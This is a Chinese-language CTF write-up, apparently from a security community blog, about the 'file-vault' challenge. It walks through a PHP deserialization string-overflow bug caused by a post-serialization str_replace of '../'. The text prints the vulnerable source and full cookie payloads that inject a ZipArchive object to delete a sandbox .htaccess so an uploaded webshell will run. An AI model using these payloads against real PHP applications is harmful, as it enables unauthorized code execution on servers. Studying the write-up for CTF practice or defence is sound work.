从一道题看PHP反序列化字符串溢出

白帽子社区

共 13205字,需浏览 27分钟

 · 2022-05-09

本文来自“白帽子社区知识星球”

作者:末初



白帽子社区知识星球

加入星球,共同进步

题目地址:

http://www.bmzclub.cn/challenges#file-vault
01

目录扫描分析代码


这是一道很好反序列化字符串溢出的题目,首先打开容器看到这是一个上传点



先进行目录扫描,发现存在vim的备份文件 index.php~



查看 index.php~ 得到源码如下


?phperror_reporting(0);include('secret.php');$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}if(!isset($_GET['action'])) {$_GET['action'] = 'home';}if(!isset($_COOKIE['files'])) {setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);}switch($_GET['action']){case 'home':default:$content = "
enctype='multipart/form-data'>type='submit'/>";
$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}


代码稍微比较多一点,我们一段一段来分析一下,先看第一段


$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);global $sandbox_dir;function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}function myunserialize($a, $secret) {if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){return unserialize(substr($a, 0, -64));}}


$sanbox_dir 即将访问者的IP经过SHA1加密拼接在sanbox后构成单独的路径,例如:san box/4b84b15bff6ee5796152495a230e45e3d7e947d9 myserialize() ,将传入的 $a 序列化,然后进行一个字符串的替换( 这里是形成反序列化字 符串溢出的关键点 )得到 $b ,最后返回 SHA256 有未知密钥( $secret )加密后的 $b 作为签 名,拼接上 $b 的结果。myunserialize() ,首先截取 $a 的后 64位 部分与 SHA256 加密后的截掉末尾 64位 的$a ,这里就是做一个签名验证,验证序列化字符串加密后是否还是 myserialize() 返回 的正确签名,防止攻击者私自修改序列化字符串。最终返回反序列化后得对象。


接着看这段代码


if(!is_dir($sandbox_dir)) {mkdir($sandbox_dir);}if(!is_file($sandbox_dir.'/.htaccess')) {file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");}


$sanbox_dir 路径不存在时,创建 $sanbox_dir 。检测在 $sanbox_dir 下是否存在 .hta ccess 文件,不存在的话在 $sandbox_dir 下创建 .htaccess ,并写入 php_flag engine o ff 。该配置作用是禁用当前目录下的PHP解析功能。



action 默认操作为 home ,检查是否设置 Cookie['files'] ,未设置的话设置 Cookie: files ,值为 myserialize($a, $secret) 的返回值, $a 的类型为数组。 $secert 一直都是未知的。


02

继续分析
class UploadFile {function upload($fakename, $content) {global $sandbox_dir;$info = pathinfo($fakename);$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);$this->fakename = $fakename;$this->realname = sha1($content).$ext;}function open($fakename, $realname) {global $sandbox_dir;$analysis = "$fakename is in folder $sandbox_dir/$realname.";return $analysis;}}


UploadFile 类中存在 upload() open() 两个方法,先看 UploadFile::upload() ,将上 传的文件写入 $sandbox_dir 下,存储名称为文件内容的 SHA1 加密后的字符,如无后缀即 默认 .txt 后缀。没有文件类型限制。$this->fakename 即上传文件的名称, $this->real name 是文件在服务器上存储的名称。UploadFile::open() 即返回指定的 fakename 以及 realname 的存储路径。


接着分析 action 传入不同值的操作


switch($_GET['action']){case 'home':default:$content = "
enctype='multipart/form-data'>type='submit'/>";
$files = myunserialize($_COOKIE['files'], $secret);if($files) {$content .= "";}echo $content;break;case 'upload':if($_SERVER['REQUEST_METHOD'] === "POST") {if(isset($_FILES['file'])) {$uploadfile = new UploadFile;$uploadfile->upload($_FILES['file']['name'],file_get_contents($_FILES['file']['tmp_name']));$files = myunserialize($_COOKIE['files'], $secret);$files[] = $uploadfile;setcookie('files', myserialize($files, $secret));header("Location: index.php?action=home");exit;}}break;case 'changename':if($_SERVER['REQUEST_METHOD'] === "POST") {$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']]) && isset($_POST['newname'])){$files[$_GET['i']]->fakename = $_POST['newname'];}setcookie('files', myserialize($files, $secret));}header("Location: index.php?action=home");exit;case 'open':$files = myunserialize($_COOKIE['files'], $secret);if(isset($files[$_GET['i']])){echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename,$files[$_GET['i']]->realname);}exit;case 'reset':setcookie('files', myserialize([], $secret));$_COOKIE['files'] = myserialize([], $secret);array_map('unlink', glob("$sandbox_dir/*"));header("Location: index.php?action=home");exit;}


?action=home : 

默认执行,提供 ?action=upload 上传操作,反序列化Cookie中的 files 值,将数组的 每一个 UploadFile::fakename 取出来回显。提供 ?action=changename 以及 ?action=open 操作。上传一个展示一个。 


?action=upload : 

POST上传文件,实例化 UploadFile 类, $uploadfile 对象调用 UploadFile::upload () 方法,获取上传的文件名称以及内容传入 upload() 方法。反序列化验证当前Cookie 中的序列化字符串,并增加根据新上传文件创建新的对象增加到数组中,并序列化存储 Cookie中。 


?action=changename : 

反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对 象,然后传入 newname 重新赋值原来的 UploadFile::fakename 。然后重新序列化存入 Cookie。 


?action=open : 

反序列化Cookie的值获取整个数组的对象,传入参数 i 来指向数组中的具体某个对象,然后传入 UploadFile::fakenameUploadFile::realname 并执行 UploadFile::o pen() 操作。 


?action=reset : 

清空Cookie中数组的每个对象,并删除 $sandbox_dir 下的所有文件。


03

思路整理

分析完所有的代码,虽然上传文件无限制,但是有 .htaccess 的限制,就算上传了shell也 是没有用的。漏洞利用的关键点在


function myserialize($a, $secret) {$b = str_replace("../","./", serialize($a));return $b.hash_hmac('sha256', $b, $secret);}


这里对 序列化之后 的字符串进行了 str_replace() 替换字符操作,将序列化之后的字符串 中的 ../ 替换为了 ./ ,也就是说一个 ../ 被替换后会向后被吃掉的一个字符。反序列化 字符串溢出的原理这里就不详细介绍了,可自行查阅资料。 


很明显我们对上传文件的能控制得只有上传文件的文件名,也就是 fakename ,并且肯定 不能直接修改 Cookie 的序列化字符串,有签名验证的。但是通过 ?action=changename 就 可以合法的控制 fakename 的值进行反序列化字符串溢出。


随便上传两个文件我们看下Cookie中存储的对象


a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718



array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}


构造反序列化溢出,我们可以上传两个文件之后,通过重命名第一个文件的 fakename , 可以吃掉第二个文件原来的对象。引入一个新的对象,不过前提是我们需要先精妙的在第 二个对象的 fakename 处,构造出一个完整的对象实现漏洞利用并且要承上启下,精妙的 构造好前后的序列化字符串。 


整个源码就一个类,两个对象,分别是 UploadFile::upload() 、 UploadFile::open() , 而其中 open() 方法挺常见的,如果能找到一个含有 open() 方法的标准类( PHP内置已经定 义好的类 ),那么我们就可以利用这个类去利用其中同名方法 open() 的功能。 


遍历下所有已定义好的类,看看哪些类中有 open() 方法


echo 'current PHP Version: '.phpversion()."\n";foreach (get_declared_classes() as $class) {foreach (get_class_methods($class) as $method) {if ($method == "open")echo "$class->$method\n";}}?>


PS C:\Users\Administrator\Downloads> php -f .\class.phpcurrent PHP Version: 7.4.3SessionHandler->openZipArchive->openXMLReader->open


其中 ZipArchive->open($fakename, $realname) 方法正好是两个参数



$filename 对应 $fakename ,把 .htaccess 的路径赋给 $filename ,而 $flag 如果设置 成 ZipArchive::OVERWRITE ,就可以将改文件覆盖,即删除。


open('./.htaccess',ZipArchive::OVERWRITE);echo $rt;$zip->close();?> 


删除了同目录下的 .htaccess




这里 ZipArchive::OVERWRITE 还可以用 9 代替



04

构造payload

接下来开始构造payload 

任意上传两个文件后在cookie中取出反序列化字符串


a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic1.jpg";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"pic2.png";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png";}}ee685dd0e1596058c4f82035b24426f0193c3f9ec8780645070f3e43d295f718


array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic1.jpg"public $realname =>string(44) "9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg"}[1] =>class __PHP_Incomplete_Class#2 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(8) "pic2.png"public $realname =>string(44) "a8e9d61b8735df4a808d677b3714425850d4ee3f.png"}}


任意查看一个上传的文件



得到 $sandbox_dir ,然后我们构造一个 ZipArchive

$zip = new ZipArchive();$zip->fakename = "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";$zip->realname = "9";echo serialize($zip);?>


O:10:"ZipArchive":7:{s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";}


首先构造第二个 UploadFile 对象的 fakename ,将 fakename 之后的序列化字符串取出 来,总共 67 个字符


";s:8:"realname";s:44:"a8e9d61b8735df4a808d677b3714425850d4ee3f.png


我们将 ZipArchive 的序列化字符串其中的对象位置顺序调整一下,将 ZipArchive::comme nt 的长度调整到 67


O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"


这样就可以将第二个 fakename 之后的序列化字符串安置在 comment 中 


然后需要将第一个 UploadFile 的对象的 realname 部分放在以上的payload前面


";s:8:"realname";s:6:"mochu7";}



值为什么无所谓,只是为了序列化的完整性,所以得到第二个 fakename 的payload最终 为:


";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"


注意: 因为是数组的第二个值,注意需要加上 i:1;


05

构造fakename的payload

接下来来分析下第一个 fakename 的payload该怎么构造,这是需要溢出吃掉的部分


";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:8:"


但是注意,因为我们是先重命名在数组中 i=1 的对象的 fakename ,所以当我们重命名完 之后数组中第二个对象的 fakename 之后,第一个对象的 fakename 长度要变为第一个 payload的字符长度


";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:"


以上才是需要溢出吃掉的字符串,长度为 117 ,所以我们需要 117 个 ../


../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../


最终,第二个对象需要重命名的 fakename


";s:8:"realname";s:6:"mochu7";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"




第一个对象需要重命名的 fakename


../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../




这时候看Cookie的序列化值


array(2) {[0] =>class __PHP_Incomplete_Class#1 (3) {public $__PHP_Incomplete_Class_Name =>string(10) "UploadFile"public $fakename =>string(351)"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"9f8abdb9a36c33ce3968ee8056c2a27b8ec4dc6e.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:258:""public $realname =>string(6) "mochu7"}[1] =>class ZipArchive#2 (7) {public $status =>int(0)public $statusSys =>int(0)public $numFiles =>int(0)public $filename =>string(0) ""public $comment =>string(0) ""public $fakename =>string(58) "sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess"public $realname =>string(1) "9"}}


成功注入了 ZipArchive 对象,然后调用 ZipArchive 对象


/index.php?action=open&i=1



这样就可以删除 sandbox/c9c6b123d99376f90d9bc74e05decff72d5086d7/.htaccess 了,回 到 index.php 上传 shell.php上传 shell.php 之后再执行一遍上面的删除操作(因为访问 index.php 会再次生成 .htaccess 文件,我们需要上传shell后再删除),然后访问shell



已经可以解析php文件了



如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。


▼扫码关注白帽子社区公众号&加入知识星球▼


浏览 12
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报